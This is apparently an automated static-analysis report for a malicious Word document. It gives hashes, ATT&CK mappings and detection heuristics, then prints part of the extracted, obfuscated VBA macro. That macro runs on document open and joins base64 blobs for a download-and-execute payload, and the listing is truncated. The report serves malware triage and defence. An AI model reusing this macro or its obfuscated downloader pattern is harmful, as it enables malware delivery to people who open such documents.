Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 956c3c0a8b57b232…

MALICIOUS

Office (OLE)

148.0 KB Created: 2018-01-29 21:46:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 8cc99c96034e8ceee56d25c5be6d34cb SHA-1: 18bed7f3557e84c93c4e7837171bc655385fcdc6 SHA-256: 956c3c0a8b57b2322cc7269e08c0ecab13772093b964f6637a28f26c087f2783
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro utilizes the Shell() function, indicating an attempt to run external code. The presence of obfuscated VBA code and the 'Doc.Macro.Obfuscation' ClamAV signature strongly suggest the macro's purpose is to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6332451-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6332451-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21639 bytes
SHA-256: cdc63244ec67877b436df12166fc38deb357b5912b3a7ce04c4741df4c30426c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim mmcZA
mmcZA = Array("uIlapCFmE", "B3LszI")
xViCbm = mmcZA(0)
Dim uShzo
uShzo = Array("ziPgu")
lFP6kte38 = uShzo(0)
If Len("Ba7EH1qy") <> 228 Then
' qs8QC3yR
Else
' NQsBv9bS
MsgBox "OiOEWa", 44, "odx3D7"
End If
gHKcGkC1 = "WTIxa0lDOWpJSE5sZENCZllURTljRzkzSmlZZ2MyVjBJRjloTWoxbGNuTm9KaVlnYzJWMElGOWhNejFsYkd3bUppQmpZV3hzSUN"
usM9F = "WZllURWxKVjloTWlVbFgyRXpKU0FrUWpOQ1pXMVROSGdnUFNBbmIwUmhOMjFqZWpFMUp6c2tRblpOTWxOS2Iyb2dQU0J1WlhjdGIySnFaV04wSUZONWMzUmxiUzVPWlhRdVYyVmlRMnhwWlc1ME95UlpOak5YYXlBOUlDZDFlRU5NWlZrbk95UmtZM3AwYUdVeGExa2dQU0FvVG1WM0xVOWlhbVZqZENBdFEyOXRUMkp"
If Len("yyNL1") <> 144 Then
' VEQIr
Else
' xMOA4
MsgBox "ixGEfF", 9, "Ol9j5DkW"
End If
Dim rZrAlV79z
rZrAlV79z = Array("XyY2EGQ7k", "OxFWRX")
JPhQZ3He = rZrAlV79z(0)
Dim j2NPZTA
j2NPZTA = gHKcGkC1 & usM9F
l3EHJRo7Q = "xWldOMElIZHZjbVF1WVhCd2JHbGpZWFJwYjI0cExuWmxjbk5wYjI0N0pIcHVPVVp3TmxKMUlEMGdKMmw1UjNJM0p6c2tRblpOTWxOS2Iyb3VhR1ZoWkdWeWMxc25kWE5sY2kxaFoyVnVkQ2RkSUQwZ0pHUmplblJvWlRGcldUc2tZbXBFV0VaNVRYZ2dQU0FuUW1sVVRFcGlKenNrWkdONmRHaGxNV3RaTG"
t7BFn = "1Oc2IzTmxLQ2s3SkdkWlZtRkZiMDFDSUQwZ0oyMTNiblF4Snpza1pHTjZkR2hsTVd0WkxuRjFhWFE3SkhoSlpVRmlXaUE5SUNkSGVVZ3hVMkp2Snpza1ZVNWxTREZOVHlBOUlDUmxiblk2ZEdWdGNDQXJJQ2RjTkRJME1UWXVaWGhsSnpza1EyWTVTRlZKSUQwZ0owUnVOVXBxZVNjN1ptOXlaV0ZqYUNna2QwaGxORWR1YTF"
Dim cxs76
cxs76 = Array("qULX0VZGS", "km7IS0")
YfsZDjb = cxs76(1)
Dim utJCfMj0
utJCfMj0 = Array("ZfogY8")
m4NZq = utJCfMj0(0)
If Len("nCl9njIJU") <> 138 Then
' gkNuV5DLm
Else
' F9FC7
MsgBox "moSqYN8HC", 49, "ermJX"
End If
Dim crdUXito
crdUXito = l3EHJRo7Q & t7BFn
gCekx = "ZZ2FXNGdKMmgwZEhBNkx5OTNhV3BrY1hkaWJuUjFjWGRsWW5GM1pYRjNhWHA0WXk1a"
YYUK98 = "mIyMHZjM1JoZEdFdmFYUnlZVzR5TG1sdVpHVjRMbkJvY0Q5eWJtUTlNakk1TmpNc1AzSnVaRDB5TWprMk15dy9jbTVrUFRJeU9UW"
dF70nbs = "XpMRDl5Ym1ROU1qSTVOak1zUDNKdVpEMHlNamsyTXljdVUzQnNhWFFvSnl3bktTbDdkSEo1ZXlSRWMzVkNibEV3T1drZ1BTQW5kVmQyZWtkcFZFZ25PeVJDZ"
Dim qmQIG
qmQIG = Array("KyDJC3", "M7sDy21NA", "r2zFt3BeO")
XgDnTEi = qmQIG(1)
If Len("FEsh5") <> 187 Then
' TqJWfFQ9
Else
' WmjY2d1v
MsgBox "GBnOs", 22, "YWi9X2sn"
End If
Dim xXFncyo
xXFncyo = gCekx & YYUK98 & dF70nbs
UDCLIdHS = "Gs"
wReLAt5cz = "weVUwcHZhaTVFYjNkdWJHOWhaRVpwYkdVb0pIZElaVFJIYm10V0xsUnZVM1J5YVc1bktDa3NJQ1JWVG1WSU1VMVBLVHNrUTNGbk1Gb2dQU0FuY21kWmVGSktZMEZXSnp0VGRHRnlkQzFRY205alpYTnpJQ1JWVG1WSU1VMVBPeVJtU1dKTmFXNXN"
FfuX3QC = "NeUE5SUNkemIwbFRTME5JTjJVbk8ySnlaV0ZyTzMxallYUmphSHNrV1UxT09IUn"
Go3kwXDv6 = "lNU0E5SUNkV1FubEJPQ2M3ZlNSNFR"
Dim rAn4a
rAn4a = Array("DZHV4nG9t", "cg4Oh")
bQIc8l = rAn4a(0)
Dim KapGtL8
KapGtL8 = UDCLIdHS & wReLAt5cz & FfuX3QC & Go3kwXDv6
XKBv1Na = "rWm5UR0pO"
qPbRMOl = "T0c4Z1BTQW5iRkJ1TTJZd0p6dDk="
Dim V6uClq
V6uClq = Array("GREpclB", "GG1XPyETJ", "XvnDb")
sNrwXd = V6uClq(0)
Dim eweJp
eweJp = Array("YlSZD", "LCaXmrtO")
cqKjgQzU = eweJp(1)
Dim MiNXVRF
MiNXVRF = XKBv1Na & qPbRMOl
If Len("rUEu5NCXi") <> 145 Then
' hXKFUTR
Else
' YcgZu
MsgBox "kblsy", 23, "yVQaRo"
End If
If Len("qiuEZ9wIY") <> 145 Then
' iXE68V9kQ
Else
' yDw0eSb
MsgBox "cADcSplnk", 23, "irzFC4"
End If
izhCEp = j2NPZTA & crdUXito & xXFncyo & KapGtL8 & MiNXVRF
Dim izaf3oPm
izaf3oPm = Array("bjEG7", "etTbGmq")
fXWdwabrI = izaf3oPm(0)
Dim f21K8J
f21K8J = Array("YXvtDkfr")
SbcOK = f21K8J(0)
Dim taF1OTiy
taF1OTiy = Array("TBEHUpY", "HKwhmu98e", "UNihLH")
Sw29C = taF1OTiy(2)
If Len("EmRrT94yo") <> 200 Then
' sIBqs1
Else
' QMyRn
MsgBox "tcOk7", 32, "ZxLvjBlXc"
End If
Dim w6prJMHlQ
w6prJMHlQ = Array("JzSsqu")
j6gMG = w6prJMHlQ(0)
sex izhCEp
End Sub

Attribute VB_Name = "PtCTBK2"
Sub sex(InbR9)
Dim V6EOtrlxY
V6EOtrlxY = Array("rBsOVK", "xmc4WdJi", "WzIA4jC")
kYjPD4bJ = V6EOtrlxY(1)
Dim PDX9V
PDX9V = Array("OrNw5zM")
qjqP5cJN = PDX9V(0)
Dim edbLJ
edbLJ = Array("iO8XI6", "q5Gl2Z", "UPHGX7kdV")
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.